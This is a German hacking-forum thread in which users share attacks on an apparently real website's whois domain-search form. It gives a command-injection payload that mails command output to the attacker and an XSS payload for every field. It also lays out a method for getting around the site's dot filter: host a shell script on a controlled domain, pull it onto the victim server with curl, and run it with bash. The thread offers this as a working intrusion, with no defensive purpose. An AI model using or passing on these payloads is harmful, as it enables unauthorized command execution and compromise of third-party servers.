4 replies to this topic

[Zero-X]

Please Login HERE or Register HERE to see this link!

Im Feld "Domainsuche" folgendes eingeben:

;ls|mail deine@mail

Wichtig ist, dass bei der E-Mail Adresse keine Domainendung angegeben wird sonst funktioniert es nicht.
Die Domainendung wählt man im unteren Feld aus, je nachdem wo die passende Domainendung der E-Mail Adresse dabei ist.
Der Server hängt manchmal etwas und es kann dann bis 5 Minuten dauern, bis die E-Mail mit der Befehlsausgabe ankommt.

[ProHex]

XSS haben die auch:

Please Login HERE or Register HERE to see this link!

Jedes Feld in dem Format:

INPUT" <xss>

also zb:

bla" onmouseover=alert(1337)

btw ich bekomm als output bei deiner lücke immer:

No whois server is known for this kind of object.

Edited by ProHex, 01 October 2014 - 20:27 Uhr.

[Zero-X]

Was hast du im Feld "Domainsuche" eingegeben?
Wenn du etwas mit Punkten eingibst, ignoriert der Server die Anfrage.
Angenommen du gibst "ls *.php" ein, versucht das Skript mit dem Whois-Server von php-Domains Kontakt aufzunehmen und da es diesen Server nicht gibt kommt eine Fehlermeldung.

[ProHex]

Was hast du im Feld "Domainsuche" eingegeben?
Wenn du etwas mit Punkten eingibst, ignoriert der Server die Anfrage.
Angenommen du gibst "ls *.php" ein, versucht das Skript mit dem Whois-Server von php-Domains Kontakt aufzunehmen und da es diesen Server nicht gibt kommt eine Fehlermeldung.

das erklärt alles :/ danke dir!

[Zero-X]

Noch ein kleiner Tip von mir.

Um das Problem mit den Punkten zu umgehen, kannst du ein Shell-Skript erstellen, das die von dir gewünschten Aktionen ausführt.

Du nimmst einen FTP-Account von einer Domain, am besten eine auf der noch niemand etwas hochgeladen hat und lädst das Shell-Skript als index.html in das Webverzeichnis.
Dann kannst du mit Hilfe von wget oder curl die Datei auf den Server laden.
Dafür gibst du zum Beispiel das hier ein:

curl -o deinscript deineseite (ohne Domainendung)

Unten im Feld mit den Domainendungen wählst du dann das entsprechende aus.
Die Datei wird auf den Server geladen.

Das Skript führst du dann so aus:

bash deinscript

So habe ich es gemacht. Es gibt vielleicht noch bessere Lösungen als diese hier aber das fand ich am einfachsten.